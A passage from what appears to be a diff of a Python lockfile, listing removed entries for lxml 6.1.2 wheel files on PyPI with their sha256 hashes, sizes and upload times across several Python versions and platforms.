"https://files.pythonhosted.org/packages/06/42/89a2760cd2f2cda28ef5b9591ec775a6a5183d193e7b62ddb936b1565167/lxml-6.1.2-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:12ecfea07d767f6accbf30b014e1c477b5eabb13eb4e8c748215efb52c0e314a", size = 5211283, upload-time = "2026-08-19T04:59:31.561Z" }, - { url = "https://files.pythonhosted.org/packages/5d/0d/f5607ff466d0d8874d7b778c3ccb64f65ccc0ac430e1961969fd450b899c/lxml-6.1.2-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:bfcbee8ffff4188f4c6d97eceeff36d8eb983cf838933cbc12ce5f5dd51476c6", size = 5343352, upload-time = "2026-08-19T04:59:41.056Z" }, - { url = "https://files.pythonhosted.org/packages/63/6a/77713b73265d043a513d9e7df2458f07b2a14709f95e3a35a34834785fde/lxml-6.1.2-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:822d9397033edbe530a13bb1e0091c0e817536b6aba87a9b4ad626ed779ca0bd", size = 4673191, upload-time = "2026-08-19T05:00:01.85Z" }, - { url = "https://files.pythonhosted.org/packages/a7/c7/e4179e0b9f71859bf9a56b3da91db4c7e85c47072018e7b63e019ff65c9f/lxml-6.1.2-cp311-cp311-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:4303f904fb6c41b58dc70743b1d8a470aba6c9897427c48324cff1a95673ddb4", size = 5281079, upload-time = "2026-08-19T05:00:20.59Z" }, - { url = "https://files.pythonhosted.org/packages/22/f4/358200b95081db4fd02c4d81938a07080ae7636f9149befda1c0e5189c40/lxml-6.1.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:cdd35422de747237f451e821766e2b6be3dd2c31955c1ecd7f17984c5b9bb62d", size = 5055515, upload-time = "2026-08-19T05:00:29.28Z" }, - { url = "https://files.pythonhosted.org/packages/fe/06/8fe708d90022bd13122c359d38f3f751e4fa71b871eace7fa81212dadfa5/lxml-6.1.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:b3ca02ef3b5920b88119c82eb6badfb2d082b1f681d528a856dcce17c8706da8", size = 4722745, upload-time = "2026-08-19T05:00:49.132Z" }, - { url = "https://files.pythonhosted.org/packages/ad/1d/9d374182c2ee79a5097d4950bfca9e28011eeacdf614db022b9905266b5c/lxml-6.1.2-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:4bf14db2f0214003ec7f46c4300e2065668fc93e20448c1c95bac2e952072168", size = 5268962, upload-time = "2026-08-19T05:01:15.762Z" }, - { url = "https://files.pythonhosted.org/packages/72/89/d0835e464b84d92c43d838bbeaef02f9ac374ab2bb6972411e4c3e80975d/lxml-6.1.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:2afd1688e372d8eafaa6f56c589399e0a87d086a0c110f6346b0b50f42e67e25", size = 5235564, upload-time = "2026-08-19T05:03:11.298Z" }, - { url = "https://files.pythonhosted.org/packages/bf/ea/0b8acc86d702b9fa1a0194fc7e653087912d340cb10507f4a5bc369d04b3/lxml-6.1.2-cp311-cp311-win32.whl", hash = "sha256:aea814342f6afd20d832937ff8b333cd6506428a39c0c4c70c2380aab1887bfb", size = 3600342, upload-time = "2026-08-19T05:03:14.238Z" }, - { url = "https://files.pythonhosted.org/packages/65/5c/04480497142794bfb2d98c01ea9972e9b3d0f6b1f017073cabb74ab0b8c1/lxml-6.1.2-cp311-cp311-win_amd64.whl", hash = "sha256:b3db5497af55f7a557c95265dd3b91c75dc56364a7b59f258c45fa5576dce058", size = 4032771, upload-time = "2026-08-19T05:03:16.934Z" }, - { url = "https://files.pythonhosted.org/packages/f9/88/4c5ca0f808a80b7eaad073269f1fc53992c5c7c905df13d3953d886834b1/lxml-6.1.2-cp311-cp311-win_arm64.whl", hash = "sha256:e8dc3d29f2ed2bbf24c205a86326d6681230ace55abfb3f9d5230f42078ad63d", size = 3674380, upload-time = "2026-08-19T05:03:19.158Z" }, - { url = "https://files.pythonhosted.org/packages/ee/a4/55eb54507073089ab27743c5da2113c84f0d0b1715b33175fdd943c9652d/lxml-6.1.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:7d506bdba580ecb1a6ad2e2b5c49445e66d3e1f95894885739094393a1aad237", size = 8602111, upload-time = "2026-08-19T04:58:28.017Z" }, - { url = "https://files.pythonhosted.org/packages/bc/bf/6332f45d78da385bb01d5cac3fe4acda19f025d1307cbc7ad538355fecbb/lxml-6.1.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:12acd337d2821cb8b9247dfe4b7aa2f2769a3df5ae8511b7e550df42b8f4d3c3", size = 4638376, upload-time = "2026-08-19T04:58:41.181Z" }, - { url = "https://files.pythonhosted.org/packages/68/e0/21fba0fe74d417fbe976903ae6bc77e92cdce01aae7b636abd87756f4588/lxml-6.1.2-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5078ff51e6316c0f75ea8127c2cd24374747fb351f62fb93d1761f8ae5a04a40", size = 4939689, upload-time = "2026-08-19T04:58:48.526Z" }, - { url = "https://files.pythonhosted.org/packages/de/e5/ce3e885264fdd0bdcb6b49c1ea1842f94281b39e4ff956099e8d57532c60/lxml-6.1.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9477e14217c212e6023c994a71a1a349db19b0e10fd5bf189666b281ae63b1fd", size = 5105185, upload-time = "2026-08-19T04:59:15.533Z" }, - { url = "https://files.pythonhosted.org/packages/e6/b6/990a8446c488c70fa25681e150de94b7bf2eaaf387e374d195ab3c8faafb/lxml-6.1.2-cp312-cp312-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:261d98065326676d7253882db0198d0aa06748d7ee0443367acf10b148273f99", size = 5011863, upload-time = "2026-08-19T04:59:50.58Z" }, - { url = "https://files.pythonhosted.org/packages/bb/6a/f70f41363dae27e3bfd6224b128f5ba150874bd32ca4938552930ffa33b0/lxml-6.1.2-cp312-cp312-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:0666943ee1576fa890a6dc6316ef42e8241b5dd56f67bc5475acb2ac298c6ca9", size = 5638234, upload-time = "2026-08-19T05:00:00.802Z" }, - { url = "https://files.pythonhosted.org/packages/3d/e0/a65b64f34d556925faef2c4f14167d58c571bc15a3e1f2bba71138830562/lxml-6.1.2-cp312-cp312-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:04cf9e3f4ee9cab9d9ba05401bef8668840fa9620fcd4d8e85a2d2fd0b0fa960", size = 5244532, upload-time = "2026-08-19T05:00:07.516Z" }, - { url = "https://files.pythonhosted.org/packages/c6/a9/471552e015e954fc9d960aa27c3d67ebf489683d03f033399a790417c67c/lxml-6.1.2-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:9429d2371d406344ed1da5b5686d9412e74137c07b0171278368ff704f470ed5", size = 5358194, upload-time = "2026-08-19T05:00:22.747Z" }, - { url = "https://files.pythonhosted.org/packages/d7/0f/bc6248fbec2cc416f102b1267f1567e07510f6fa909bbe8cd2a22d6fb78e/lxml-6.1.2-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:eff128ffdc093cc6317955934ad9751105d37ed8dbca3ff4ccd751af6be37185", size = 4704432, upload-time = "2026-08-19T05:00:51.115Z" }, - { url = "https://files.pythonhosted.org/packages/a9/3f/cec859f50e63f1fa338fab43d2362d7543e1237f2475960d8ab0769de0eb/lxml-6.1.2-cp312-cp312-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ba58574d710b82ead7cbedea01cac3e110bc3ef82d4731519b74a2c11f7cf5e9", size = 5255038, upload-time = "2026-08-19T05:00:58.895Z" }, - { url = "https://files.pythonhosted.org/packages/7c/d9/2ced0cf2967115f92a1b8b3ae6bd18763abc3ebef88c98cf25145fda396c/lxml-6.1.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:52f6d4dff133c9778a24e9a2cfc1608930b15869866171aacc5131b5a418a003", size = 5054481, upload-time = "2026-08-19T05:01:10.096Z" }, - { url = "https://files.pythonhosted.org/packages/d5/f5/4f07386d3c88673daeec3b8cc09a2a4d39fa01c1fc49009791b0746d97fa/lxml-6.1.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:8807998c1023d1e9d60e02500f90e85a0752dbc0b670989806bba87b82dd5b42", size = 4785535, upload-time = "2026-08-19T05:01:18.909Z" }, - { url = "https://files.pythonhosted.org/packages/9a/5a/f4fe3ecbc189f48fba2547c5db5c940a10151d3e86b856a60a533a77e816/lxml-6.1.2-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:2170d0a280c877b6e2dc6738217db947be35dd8cf09ca458b355aa1bab2a9e70", size = 5655337, upload-time = "2026-08-19T05:01:41.324Z" }, - { url = "https://files.pythonhosted.org/packages/92/c4/f586aa1bf27bfbace2dfdbb704da5c52f0bdece8ee440c8fb4946c940b2e/lxml-6.1.2-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:c67f3c1278f942e97d8665c2a690324aaea5137de16f056583a21f0ac706177f", size = 5245778, upload-time = "2026-08-19T05:01:45.227Z" }, - { url = "https://files.pythonhosted.org/packages/18/a1/677494bbaef4d6db5e4633af817414f478865850b55c03ae4bf70fa7b8ca/lxml-6.1.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:093fbf547d0f3ca02705381f795a050fbb58988be4aac7f79f99f280c4082313", size = 5267274, upload-time = "2026-08-19T05:01:57.687Z" }, - { url = "https://files.pythonhosted.org/packages/5a/71/b71425b8764d4cb7c92eb970483be7d5610dce2a6316242b5aaae7d260be/lxml-6.1.2-cp312-cp312-win32.whl", hash = "sha256:be365ce8d2d411cf2fb573747684b4fd470fa6224e0094d9d5a21155acc369d3", size = 3602563, upload-time = "2026-08-19T05:02:01.837Z" }, - { url = "https://files.pythonhosted.org/packages/1b/fb/909584e16d2148c1a252cc2c32dd99fe0e2682459c586d3d7a192e74a0ae/lxml-6.1.2-cp312-cp312-win_amd64.whl", hash = "sha256:b97153ca609b434b712ddfb92cd6af101a7045a7724c542258bd4727a344472f", size = 4005965, upload-time = "2026-08-19T05:02:07.157Z" }, - { url = "https://files.pythonhosted.org/packages/5f/8d/41207c9212caad0b52749e34739fb9bfab67486729f52a8fe9bd9266fee6/lxml-6.1.2-cp312-cp312-win_arm64.whl", hash = "sha256:7feb72424f19a893ae4f3373c7aae821b1aacb6076b708915c651f0683a97c49", size = 3666641, upload-time = "2026-08-19T05:02:11.3Z" }, - { url = "https://files.pythonhosted.org/packages/61/2a/e9651f47a31a60b5cae031abc23391ed9aa30c8fc07571d1a38f58d6d770/lxml-6.1.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:351318f5c0eb7fcab5b4fdb507c6f88fb2c4b5e67784c7e5911448c91fffb5d4", size = 8590165, upload-time = "2026-08-19T04:58:40.489Z" }, - { url = "https://files.pythonhosted.org/packages/61/87/a8098abaf35118767d1703b84c98940a5d833064e0eca39a00ecfe9840ab/lxml-6.1.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:c0edde95e4b4278dcc0175eda06dc8aa2631ad9f83ae5dbdbc4f0925e200b0b0", size = 4632474, upload-time = "2026-08-19T04:58:47.465Z" }, - { url = "https://files.pythonhosted.org/packages/93/cc/fe74d1def7f4fb967c4a825608a074d4dbdbb871b0d6bd59c6ed07d67868/lxml-6.1.2-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a8326e24ae6c3a6bfb03fa8b4793f9a5d804c125228aa067f652b0428e31b87c", size = 4936196, upload-time = "2026-08-19T04:59:03.477Z" }, - { url = "https://files.pythonhosted.org/packages/b7/ad/b96e6ca926e26726a99aa643602aac7411ecc1731ddb1b25af8cc57edfcd/lxml-6.1.2-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7c534ed898413f439b048130011e99a4245ee13d62d431f6b4f7f2484d02a93a", size = 5093290, upload-time = "2026-08-19T04:59:17.498Z" }, - { url = "https://files.pythonhosted.org/packages/d2/84/616f5d3b7cd086fcfba3e5add6fccda67f976c1c753ae9ed7bbd317cb9be/lxml-6.1.2-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2e37fe49fe2d5aa40a2cb1cc8176673ad7de0d124e6f4a509d9318f5979c7871", size = 4998767, upload-time = "2026-08-19T04:59:28.385Z" }, - { url = "https://files.pythonhosted.org/packages/80/88/d5b453a8d083483c9442ad7f5ac5c560796022eb5c80d60b65d75e449236/lxml-6.1.2-cp313-cp313-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9b52ea73a37fc64aa3357ff8607801d46dd170506d3cf8253a91a1d91639d4f9", size = 5626717, upload-time = "2026-08-19T04:59:40.045Z" }, - { url = "https://files.pythonhosted.org/packages/71/45/31e5aa4d4bae024908ba1d03480c7425cf027a28b7e5c88d1b7202bd80cc/lxml-6.1.2-cp313-cp313-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e8b9a92652e75e7731309ea51db5dee892eef414ce70a6ec3441e5d36bf5189f", size = 5232330, upload-time = "2026-08-19T04:59:46.175Z" }, - { url = "https://files.pythonhosted.org/packages/f5/5a/2627912420df8b2d31ba3014da5539f15ec85add01d42048864ffefda516/lxml-6.1.2-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:9088da25ecd609965f838d89fda0465a905b48f4dd90331db9845518f2177372", size = 5347054, upload-time = "2026-08-19T04:59:52.762Z" }, - { url = "https://files.pythonhosted.org/packages/16/86/54ac0f529b22a8f12313726dd49e12961bb46471d9028cc28d2a29408f0b/lxml-6.1.2-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:0349321a0537d4fdbebb2af06dd1b64676132c72e2ae250de8cdb58f8c43019c", size = 4707275, upload-time = "2026-08-19T05:00:04.836Z" }, - { url = "https://files.pythonhosted.org/packages/3a/42/ffcdc6e4519be90df907cdae7e88409efb25d823ae4de8846f737dae1884/lxml-6.1.2-cp313-cp313-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b20440e578d269c5e8a722ab602ddd0f0cedb8b080006b3f936da9991a593d3b", size = 5240071, upload-time = "2026-08-19T05:00:19.604Z" }, - { url = "https://files.pythonhosted.org/packages/68/49/5b1d7ab35f013f1127ec48f3108319f58b65b00d5cb26f215adbe86eadfb/lxml-6.1.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7766e525282dd38fd89567311323e441996eb958e8e816d16b38f782e3aecd2a", size = 5050356, upload-time = "2026-08-19T05:00:27.968Z" }, - { url = "https://files.pythonhosted.org/packages/b0/57/1cf049d054189b55c8fe8012269234f6602256949b69cd3ba80608a88219/lxml-6.1.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:9221442682c27417f10fe11184ea4cce174b25ab52465570b1f3ee3f85f320fa", size = 4780394, upload-time = "2026-08-19T05:00:39.047Z" }, - { url = "https://files.pythonhosted.org/packages/d5/ad/064488a8fa60e639fd773e421a18bf17541d02a95fbf36238ad7c65f69d4/lxml-6.1.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:75530642d8471327e691ab9b0513a5f9c77f38871014ceda40f51bb51765c0a1", size = 5645854, upload-time = "2026-08-19T05:03:42.697Z" }, - { url = "https://files.pythonhosted.org/packages/85/bb/120e56f3cf1c149bb3b014278fb86d0a6dd552403981081f0ee0a0a57be7/lxml-6.1.2-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:678e35f1cbca98f55107511ee21a60568535c950f3c2371819bd64504c980d20", size = 5231132, upload-time = "2026-08-19T05:03:45.466Z" }, - { url = "https://files.pythonhosted.org/packages/b1/2c/7d49aab893c128671a3276580074cce4c002896145b8dd2893da79633bca/lxml-6.1.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:5c2bae42b3a09f977330a08f4a8fe72aec58c4bdb89069d3fe7272a71d885881", size = 5256076, upload-time = "2026-08-19T05:03:48.092Z" }, - { url = "https://files.pythonhosted.org/packages/72/28/ddea3aa1fa9acfd384fe34d4a2a93eecc07541dd2d922fa9b140c60d8014/lxml-6.1.2-cp313-cp313-win32.whl", hash = "sha256:5848f3de6a8de8a93cff9f068134393ff5fa69ac2a04399f7d49cd67c61c348c", size = 3602177, upload-time = "2026-08-19T05:03:50.571Z" }, - { url = "https://files.pythonhosted.org/packages/1b/7a/96bac167538748cae2544335855f812fa33e49a9a67bc8b8520dcbd592bd/lxml-6.1.2-cp313-cp313-win_amd64.whl", hash = "sha256:6cb0c87421946030b92b558be416852780a912454e3dcba0998e4497c9c588d5", size = 4004117, upload-time = "2026-08-19T05:03:53.074Z" }, - { url = "https://files.pythonhosted.org/packages/0a/24/9498fa3c84135956e5ef55ea4d8bd11e999e381f7f210fb6f8c6a980ef03/lxml-6.1.2-cp313-cp313-win_arm64.whl", hash = "sha256:648861c19b775b89ebefa14586f85090b10163367476d77f242c4131c835ce73", size = 3665412, upload-time = "2026-08-19T05:03:55.621Z" }, - { url = "https://files.pythonhosted.org/packages/27/b5/728b0578791b397ace8d1b101c8b3fe10f36043542f7bb85f82d8bdc3f50/lxml-6.1.2-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:d50a44113fe6800dcc8a859332b823a4735b1e6ae1b0063882e4cca569ec3e29", size = 8609651, upload-time = "2026-08-19T04:58:42.42Z" }, - { url = "https://files.pythonhosted.org/packages/3c/6b/49209fa6225c15c48a30061f03d3aba75e3c19634813b88bf83b88c525ed/lxml-6.1.2-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fa813b0247d0543a563b993ac3dba6168eef59e3a61448432cf5453300c2412b", size = 4639588, upload-time = "2026-08-19T04:59:01.501Z" }, - { url = "https://files.pythonhosted.org/packages/20/86/80bae4e8bc2eed9d6f017701a3d86fdea56936218efa738911d0b76aa7f4/lxml-6.1.2-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d858e718b94033ab4b67e4a58fe3114c65bae01ae2314a62fb39ae8897ed4324", size = 4964846, upload-time = "2026-08-19T04:59:08.59Z" }, - { url = "https://files.pythonhosted.org/packages/70/ce/4782caee7a22959c1ac67cb46495e03912c22a4ba7d20c163496a519e815/lxml-6.1.2-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3e3b666f57a5d81562f38c766c762416b0f6eb58a00590546911514b48412abd", size = 5099288, upload-time = "2026-08-19T04:59:18.649Z" }, - { url = "https://files.pythonhosted.org/packages/32/21/f120967cc43b54e05512dff0c39726b832c836195d30f41f88733ef36ac8/lxml-6.1.2-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:26ff164c6629e5c4d11c9e55d5ea3d6eed0be2a420eee1f55cbce6e2c23e231a", size = 5036837, upload-time = "2026-08-19T04:59:47.217Z" }, - { url = "https://files.pythonhosted.org/packages/61/ba/8005e9f47598e3ec5c18312c77f94e889580027616678848405c6aeba5de/lxml-6.1.2-cp314-cp314-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:962c12b51d0b164f12569af225dea57568477e24a845b96eaccbef6c07e4cc03", size = 5658569, upload-time = "2026-08-19T04:59:54.078Z" }, - { url = "https://files.pythonhosted.org/packages/6a/ba/add33b3c7ce51462cf7a4637bcfec2eaa258364d6015b989dd7d1216e6a6/lxml-6.1.2-cp314-cp314-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:47e367dfe341521426692819803e260d0673899c0ff611f14af978d725e2c999", size = 5246003, upload-time = "2026-08-19T04:59:59.764Z" }, - { url = "https://files.pythonhosted.org/packages/05/b3/a43012748fb861c914c5eac1c1a3bad44282e767499cd02280d4d1edf092/lxml-6.1.2-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:92c2b366028ac01e90399e6d17734ce6e4f4aeddd8ba75fbaf80ea11d6c6d645", size = 5354047, upload-time = "2026-08-19T05:00:21.657Z" }, - { url = "https://files.pythonhosted.org/packages/8b/cb/813021d9a445713b8d758b9e5eae2ed392cd598d9f119d9b053b37c2ab93/lxml-6.1.2-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:7e81fc065ede5d58dd0bf0912025aee1bd04c52c2affd61fdb93226a97ce2fc6", size = 4704382, upload-time = "2026-08-19T05:00:47.067Z" }, - { url = "https://files.pythonhosted.org/packages/17/c9/1155299f4577bebf3c280497534a73e4b8ad8cab3b96074731ad10949d4e/lxml-6.1.2-cp314-cp314-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:633ac039cb32366dd5935868e041e385875c017b8cd54ea56aeee3fe29ca5935", size = 5258530, upload-time = "2026-08-19T05:01:14.893Z" }, - { url = "https://files.pythonhosted.org/packages/25/6e/d76e58384b378b877e140e25b9a9835da00035f81ff70cbe943a3749bf27/lxml-6.1.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:2f3194777c0d05945ac91d8594be25d2679d1d826e01e1fc90bae568ff3a547b", size = 5089919, upload-time = "2026-08-19T05:01:33.602Z" }, - { url = "https://files.pythonhosted.org/packages/f3/b7/898013c0f8891481d0624ab3bd5dd8c8ff827232dfee2a5d1f8bf970a7cc/lxml-6.1.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:1133bd969f2bfcc6b0c0cf7cdf5f2631e62b23fa2471ee8bd44f6ab73554ee9a", size = 4741972, upload-time = "2026-08-19T05:01:38.18Z" }, - { url = "https://files.pythonhosted.org/packages/c3/47/efb53c4d7b655831c03317a450d9da439b0829c61f34d9d4fe7c863445d6/lxml-6.1.2-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:1edca8f4a92b94e873093df959f141d388f2141fcad0c47598442fb4730ef57a", size = 5683241, upload-time = "2026-08-19T05:02:00.731Z" }, - { url = "https://files.pythonhosted.org/packages/da/0a/0ff36a584cbba14a71326ee8a5300694400f0b97927d1f90a87d95b17d4a/lxml-6.1.2-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:8512b3775d68994dd1d6d533161e0a214f2ad9c634659d34a99c98e86c6c3d68", size = 5245892, upload-time = "2026-08-19T05:02:06.108Z" }, - { url = "https://files.pythonhosted.org/packages/8f/9e/303717a1aa56d4bd775c91936717d3c9e8d999a8e8b68b00979c4c1f93d0/lxml-6.1.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:a5005c0c9e4d749a76a2ff8bd5918a8bb248df8e08e73a55654b9f79c9cd1e2b", size = 5269528, upload-time = "2026-08-19T05:02:09.883Z" }, - { url = "https://files.pythonhosted.org/packages/ad/c2/2ae7cb97089eb86bf0689516db3cf280a007b6145853d2a0235a1f01683d/lxml-6.1.2-cp314-cp314-win32.whl", hash = "sha256:e17e2c30e27f56da5551e7a425888b45f013e940b99ab07d125a1c33f77a4605", size = 3662743, upload-time = "2026-08-19T05:03:02.513Z" }, - { url = "https://files.pythonhosted.org/packages/77/13/a3d483230a09201e211ceb1aa208b1374d27d23b8b180d74dba14b30f6b3/lxml-6.1.2-cp314-cp314-win_amd64.whl", hash = "sha256:87e9673cd8a3445024fe38e7f91b55fa3428437eec9b7a7ff7d81979520c0d2d", size = 4073942, upload-time = "2026-08-19T05:03:04.864Z" }, - { url = "https://files.pythonhosted.org/packages/1c/f1/c1445d4b6ad7c51e39d4e2ebbf015a4880f5b297a4ab0e77e4d0e5b70110/lxml-6.1.2-cp314-cp314-win_arm64.whl", hash = "sha256:878e7c8ada8f92c52f13f35a2ab98ef0adf7fd0211d164fc2af589e4c3cfed63", size = 3749235, upload-time = "2026-08-19T05:03:07.239Z" }, - { url = "https://files.pythonhosted.org/packages/9d/eb/598c76f4ce19a67c635e86a46d880cc854f308f39a6f1fdf13bbb01813ec/lxml-6.1.2-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:94162456ed0a64fb1c06915df5bd06af4675ae3966d6048fcb73b0906e0e0222", size = 8860315, upload-time = "2026-08-19T05:02:14.39Z" }, - { url = "https://files.pythonhosted.org/packages/da/c7/1f9fac7b566a86ad0da13dcc0259164266469c0ad86744c740ccd5c2a081/lxml-6.1.2-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:4b0fa7109b1d0bc1747d8241a0853e135eefb1c978685241b544c46937383efd", size = 4755176, upload-time = "2026-08-19T05:02:18.705Z" }, - { url = "https://files.pythonhosted.org/packages/3e/1b/cfda9307388d496e7eeb7493d9455896b8137ed95f51f3d6ae6ddcc14a47/lxml-6.1.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:604f4778632588d7c000e7e19430639dc12fca58b5b6e99edffba7631725ef0e", size = 4979444, upload-time = "2026-08-19T05:02:21.262Z" }, - { url = "https://files.pythonhosted.org/packages/e5/71/f732c8919c45b7f29acf443288c6e90036877a67bfeeb1acceb0fffa011b/lxml-6.1.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5a096d6a5f96b776a5b020cb45c17c545effd2a3b6639e6fa97bc95537600923", size = 5115887, upload-time = "2026-08-19T05:02:23.62Z" }, - { url = "https://files.pythonhosted.org/packages/30/00/121d52b944f41e33ea86c62875f902d24982842dc7231ab154ac5a6c6593/lxml-6.1.2-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6454d184d556eaf4cb3d6f69e405d21602d6fdcf08b8d57796824275986c6595", size = 5032418, upload-time = "2026-08-19T05:02:26.114Z" }, - { url = "https://files.pythonhosted.org/packages/70/19/cadb73c7fe48c7563dc8ab62ea53d5b920c8911bfb808507a6daa82e78d2/lxml-6.1.2-cp314-cp314t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8b68f2548259bb04e0b3d5df0c397abe8b0080f5e1ffe4019fb7a8bf01a9339e", size = 5603304, upload-time = "2026-08-19T05:02:28.694Z" }, - { url = "https://files.pythonhosted.org/packages/13/32/9de126a14d5a5db8c371c5ec869178417db226707b62a47273a95ae6df7f/lxml-6.1.2-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6c9cc4b6532abe154dbdebb42aaba8d52c852919591e45067f5b7d46a0405e88", size = 5228938, upload-time = "2026-08-19T05:02:30.99Z" }, - { url = "https://files.pythonhosted.org/packages/ff/9b/22dd9e843629ed04652591fb220eb2bf2394d97be3be377d60d8083405d7/lxml-6.1.2-cp314-cp314t-manylinux_2_28_i686.whl", hash = "sha256:57188e441ab24f906bd5a5c14eb55363ab51aa6c0de549f3dd320043721cc118", size = 5317790, upload-time = "2026-08-19T05:02:33.301Z" }, - { url = "https://files.pythonhosted.org/packages/2c/2c/b12a1dc121f81c280635c721c7bcaa341441fcbe37397f60b8915048aece/lxml-6.1.2-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:d0bfd719c254bbe60ea022cff0e6ffb799a6fa7d4d72852cebe0257957b32d68", size = 4646468, upload-time = "2026-08-19T05:02:35.504Z" }, - { url = "https://files.pythonhosted.org/packages/57/41/fd87a41edc531e7969c25ab1d6b52b5b041eb108b88f6394d6afb4374396/lxml-6.1.2-cp314-cp314t-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:be6f87cd224254a8f81324e34cc655508b83f1d70458a1a39857ad2aa9925852", size = 5240607, upload-time = "2026-08-19T05:02:37.805Z" }, - { url = "https://files.pythonhosted.org/packages/6e/30/713ba813b6e6673c6dc34733746516017efcd17949b767b154cc50bccf20/lxml-6.1.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:074a88f70a7360a4a0c5be5d898062cd26f898c25b459efb1bdd43ae700c5a1a", size = 5086495, upload-time = "2026-08-19T05:02:40.099Z" }, - { url = "https://files.pythonhosted.org/packages/33/f8/6532ce0fecd9c326d06b08274ee075cc28dbc9f5e9285355db8504689114/lxml-6.1.2-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:9031f5f01452681abf39fdd65f84a70cb01a7572a1bbf570042e826b1232d07b", size = 4758801, upload-time = "2026-08-19T05:02:45.434Z" }, - { url = "https://files.pythonhosted.org/packages/74/b6/5a1f7833ebaa0dd33c28f6f9755ec6ff3891bf63f097634b44e6da1bb65e/lxml-6.1.2-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:cfeac14425fc7a6fca7864b774d4ee63547926158f4a18c67d77b2c9a948acf1", size = 5626977, upload-time = "2026-08-19T05:02:48.092Z" }, - { url = "https://files.pythonhosted.org/packages/e6/20/6ae0fc1b45e20877cdcfb1168ceeaf9abb0fba5ed36bd639a260e7b2101e/lxml-6.1.2-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:8ec111ff8067325f85c08aa9c2b26179ec0537bb89c003fde31127139f85f82d", size = 5235036, upload-time = "2026-08-19T05:02:50.726Z" }, - { url = "https://files.pythonhosted.org/packages/47/b4/2bc7b37fbb990ccfb7d30393660741592177224a94e07d842c8da70638e8/lxml-6.1.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:48e912f37c99a297175ba955f55a47c0e1c834b506ef162e52a6e4fe276e6e45", size = 5252270, upload-time = "2026-08-19T05:02:53.454Z" }, - { url = "https://files.pythonhosted.org/packages/4d/0b/07fb8e1dee29a78e2c5fa5c6c914218be76a6406baff27907429566e90ec/lxml-6.1.2-cp314-cp314t-win32.whl", hash = 